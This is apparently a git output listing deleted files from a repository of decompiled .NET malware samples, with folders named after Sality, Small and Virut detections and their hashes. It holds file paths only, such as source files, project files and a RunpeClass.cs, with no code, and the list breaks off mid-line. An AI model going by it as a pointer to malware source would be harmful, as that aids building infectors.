MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_001C_0004.cs delete mode 100644 MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_001C_0005.cs delete mode 100644 MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_001D_0003.cs delete mode 100644 MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_001D_0004.cs delete mode 100644 MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_001D_0005.cs delete mode 100644 MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_001E_0003.cs delete mode 100644 MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_001E_0004.cs delete mode 100644 MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_001E_0005.cs delete mode 100644 MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_001F_0003.cs delete mode 100644 MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_001F_0004.cs delete mode 100644 MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_001F_0005.cs delete mode 100644 MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_003CModule_003E.cs delete mode 100644 MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_007F_0003.cs delete mode 100644 MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_007F_0004.cs delete mode 100644 MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_007F_0005.cs delete mode 100644 MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_0080_0003.cs delete mode 100644 MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_0080_0004.cs delete mode 100644 MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_0080_0005.cs delete mode 100644 MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_0081_0003.cs delete mode 100644 MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_0081_0004.cs delete mode 100644 MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_0081_0005.cs delete mode 100644 MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_0082_0003.cs delete mode 100644 MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_0082_0004.cs delete mode 100644 MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_0082_0005.cs delete mode 100644 MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_0083_0003.cs delete mode 100644 MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_0083_0004.cs delete mode 100644 MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_0083_0005.cs delete mode 100644 MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_0084_0003.cs delete mode 100644 MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_0084_0004.cs delete mode 100644 MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_0084_0005.cs delete mode 100644 MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_0086_0003.cs delete mode 100644 MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_0086_0004.cs delete mode 100644 MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_0086_0005.cs delete mode 100644 MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_0087_0003.cs delete mode 100644 MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_0087_0004.cs delete mode 100644 MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_0087_0005.cs delete mode 100644 MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_0088_0003.cs delete mode 100644 MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_0088_0004.cs delete mode 100644 MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_0088_0005.cs delete mode 100644 MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_0089_0003.cs delete mode 100644 MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_0089_0004.cs delete mode 100644 MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_0089_0005.cs delete mode 100644 MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_008A_0003.cs delete mode 100644 MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_008A_0004.cs delete mode 100644 MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_008A_0005.cs delete mode 100644 MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_008B_0003.cs delete mode 100644 MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_008B_0004.cs delete mode 100644 MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_008B_0005.cs delete mode 100644 MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_008C_0003.cs delete mode 100644 MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_008C_0004.cs delete mode 100644 MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_008C_0005.cs delete mode 100644 MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_008D_0002.cs delete mode 100644 MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_008D_0003.cs delete mode 100644 MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_008D_0004.cs delete mode 100644 MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_008D_0005.cs delete mode 100644 MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_008E_0002.cs delete mode 100644 MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_008E_0003.cs delete mode 100644 MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_008E_0004.cs delete mode 100644 MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_008E_0005.cs delete mode 100644 MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_008F_0002.cs delete mode 100644 MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_008F_0003.cs delete mode 100644 MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_008F_0004.cs delete mode 100644 MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_008F_0005.cs delete mode 100644 MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_0090_0002.cs delete mode 100644 MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_0090_0003.cs delete mode 100644 MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_0090_0004.cs delete mode 100644 MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_0090_0005.cs delete mode 100644 MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_0091_0002.cs delete mode 100644 MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_0091_0003.cs delete mode 100644 MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_0091_0004.cs delete mode 100644 MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_0091_0005.cs delete mode 100644 MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_0092_0002.cs delete mode 100644 MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_0092_0003.cs delete mode 100644 MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_0092_0004.cs delete mode 100644 MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_0092_0005.cs delete mode 100644 MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_0093_0002.cs delete mode 100644 MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_0093_0003.cs delete mode 100644 MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_0093_0004.cs delete mode 100644 MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_0093_0005.cs delete mode 100644 MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_0094_0002.cs delete mode 100644 MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_0094_0003.cs delete mode 100644 MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_0094_0004.cs delete mode 100644 MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_0094_0005.cs delete mode 100644 MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_0095_0002.cs delete mode 100644 MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_0095_0003.cs delete mode 100644 MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_0095_0004.cs delete mode 100644 MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_0095_0005.cs delete mode 100644 MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_0096_0002.cs delete mode 100644 MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_0096_0003.cs delete mode 100644 MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_0096_0004.cs delete mode 100644 MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_0096_0005.cs delete mode 100644 MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_0097_0002.cs delete mode 100644 MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_0097_0003.cs delete mode 100644 MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_0097_0004.cs delete mode 100644 MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_0097_0005.cs delete mode 100644 MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_0098_0002.cs delete mode 100644 MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_0098_0003.cs delete mode 100644 MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_0098_0004.cs delete mode 100644 MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_0098_0005.cs delete mode 100644 MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_0099_0002.cs delete mode 100644 MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_0099_0003.cs delete mode 100644 MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_0099_0004.cs delete mode 100644 MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_0099_0005.cs delete mode 100644 MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_009A_0002.cs delete mode 100644 MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_009A_0003.cs delete mode 100644 MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_009A_0004.cs delete mode 100644 MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_009A_0005.cs delete mode 100644 MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_009B_0002.cs delete mode 100644 MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_009B_0003.cs delete mode 100644 MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_009B_0004.cs delete mode 100644 MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_009B_0005.cs delete mode 100644 MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_009C_0002.cs delete mode 100644 MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_009C_0003.cs delete mode 100644 MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_009C_0004.cs delete mode 100644 MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_009C_0005.cs delete mode 100644 MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_009D_0002.cs delete mode 100644 MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_009D_0003.cs delete mode 100644 MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_009D_0004.cs delete mode 100644 MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_009D_0005.cs delete mode 100644 MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_009E_0002.cs delete mode 100644 MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_009E_0003.cs delete mode 100644 MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_009E_0004.cs delete mode 100644 MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_009E_0005.cs delete mode 100644 MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_009F_0002.cs delete mode 100644 MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_009F_0003.cs delete mode 100644 MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_009F_0004.cs delete mode 100644 MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/_009F_0005.cs delete mode 100644 MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/n(EWZ_0009/7_0017[_000C/7.cs delete mode 100644 MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/n(EWZ_0009/7_0017[_000C/Token2000132.cs delete mode 100644 MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/{058f5872-1669-4da0-8ae3-6f6e94a9e1dc} delete mode 100644 MSIL/Virus/Win32/S/Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975/{97ce9fdf-0921-44cb-ae13-1e9a2a550f0f} delete mode 100644 MSIL/Virus/Win32/S/Virus.Win32.Small.l-663b3b2e6b8cbb3371ba997be0422b59723f4a920b855a82c21bc407dd6b0ec4/App.ico delete mode 100644 MSIL/Virus/Win32/S/Virus.Win32.Small.l-663b3b2e6b8cbb3371ba997be0422b59723f4a920b855a82c21bc407dd6b0ec4/AssemblyInfo.cs delete mode 100644 MSIL/Virus/Win32/S/Virus.Win32.Small.l-663b3b2e6b8cbb3371ba997be0422b59723f4a920b855a82c21bc407dd6b0ec4/ErrorStrings.cs delete mode 100644 MSIL/Virus/Win32/S/Virus.Win32.Small.l-663b3b2e6b8cbb3371ba997be0422b59723f4a920b855a82c21bc407dd6b0ec4/ErrorStrings.resx delete mode 100644 MSIL/Virus/Win32/S/Virus.Win32.Small.l-663b3b2e6b8cbb3371ba997be0422b59723f4a920b855a82c21bc407dd6b0ec4/OmaBrowseInstall.cs delete mode 100644 MSIL/Virus/Win32/S/Virus.Win32.Small.l-663b3b2e6b8cbb3371ba997be0422b59723f4a920b855a82c21bc407dd6b0ec4/ServerStrings.cs delete mode 100644 MSIL/Virus/Win32/S/Virus.Win32.Small.l-663b3b2e6b8cbb3371ba997be0422b59723f4a920b855a82c21bc407dd6b0ec4/Virus.Win32.Small.l.csproj delete mode 100644 MSIL/Virus/Win32/S/Virus.Win32.Small.l-663b3b2e6b8cbb3371ba997be0422b59723f4a920b855a82c21bc407dd6b0ec4/Virus.Win32.Small.l.sln delete mode 100644 MSIL/Virus/Win32/V/Virus.Win32.Virut.ac-a8742491b0c24128c984e4272dd39160994413c06121c47fa9bf8ecb333708fd/AssemblyInfo.cs delete mode 100644 MSIL/Virus/Win32/V/Virus.Win32.Virut.ac-a8742491b0c24128c984e4272dd39160994413c06121c47fa9bf8ecb333708fd/ReadResource.cs delete mode 100644 MSIL/Virus/Win32/V/Virus.Win32.Virut.ac-a8742491b0c24128c984e4272dd39160994413c06121c47fa9bf8ecb333708fd/RunpeClass.cs delete mode 100644 MSIL/Virus/Win32/V/Virus.Win32.Virut.ac-a8742491b0c24128c984e4272dd39160994413c06121c47fa9bf8ecb333708fd/Virus.Win32.Virut.ac.csproj delete mode 100644 MSIL/Virus/Win32/V/Virus.Win32.Virut.ac-a8742491b0c24128c984e4272dd39160994413c06121c47fa9bf8ecb333708fd/Virus.Win32.Virut.ac.sln delete mode 100644 MSIL/Virus/Win32/V/Virus.Win32.Virut.af-aff9bba96e482313952036dcb188d1e61b55115cab9bc23c4a365ea2decdb065/AppFile.cs delete mode 100644 MSIL/Virus/Win32/V/Virus.Win32.Virut.af-aff9bba96e482313952036dcb188d1e61b55115cab9bc23c4a365ea2decdb065/AssemblyInfo.cs delete mode 100644 MSIL/Virus/Win32/V/Virus.Win32.Virut.af-aff9bba96e482313952036dcb188d1e61b55115cab9bc23c4a365ea2decdb065/FrmMain.cs delete mode 100644 MSIL/Virus/Win32/V/Virus.Win32.Virut.af-aff9bba96e482313952036dcb188d1e61b55115cab9bc23c4a365ea2decdb065/FrmMain.resx delete mode 100644 MSIL/Virus/Win32/V/Virus.Win32.Virut.af-aff9bba96e482313952036dcb188d1e61b55115cab9bc23c4a365ea2decdb065/Program.cs delete mode 100644 MSIL/Virus/Win32/V/Virus.Win32.Virut.af-aff9bba96e482313952036dcb188d1e61b55115cab9bc23c4a365ea2decdb065/Properties/Resources.cs delete mode 100644 MSIL/Virus/Win32/V/Virus.Win32.Virut.af-aff9bba96e482313952036dcb188d1e61b55115cab9bc23c4a365ea2decdb065/Properties/Resources.resx delete mode 100644 MSIL/Virus/Win32/V/Virus.Win32.Virut.af-aff9bba96e482313952036dcb188d1e61b55115cab9bc23c4a365ea2decdb065/Properties/Settings.cs delete mode 100644 MSIL/Virus/Win32/V/Virus.Win32.Virut.af-aff9bba96e482313952036dcb188d1e61b55115cab9bc23c4a365ea2decdb065/Virus.Win32.Virut.af.csproj delete mode 100644 MSIL/Virus/Win32/V/Virus.Win32.Virut.af-aff9bba96e482313952036dcb188d1e61b55115cab9bc23c4a365ea2decdb065/Virus.Win32.Virut.af.sln delete mode 100644 MSIL/Virus/Win32/V/Virus.Win32.Virut.ce-3d2414f8b1eab949c1137dfaf70dd34b31e860b5d02b356b1d3a07a2b6a42731/AssemblyInfo.cs delete mode 100644 MSIL/Virus/Win32/V/Virus.Win32.Virut.ce-3d2414f8b1eab949c1137dfaf70dd34b31e860b5d02b356b1d3a07a2b6a42731/Jungle.cs delete mode 100644 MSIL/Virus/Win32/V/Virus.Win32.Virut.ce-3d2414f8b1eab949c1137dfaf70dd34b31e860b5d02b356b1d3a07a2b6a42731/Module2.cs delete mode 100644 MSIL/Virus/Win32/V/Virus.Win32.Virut.ce-3d2414f8b1eab949c1137dfaf70dd34b31e860b5d02b356b1d3a07a2b6a42731/My/MyApplication.cs delete mode 100644 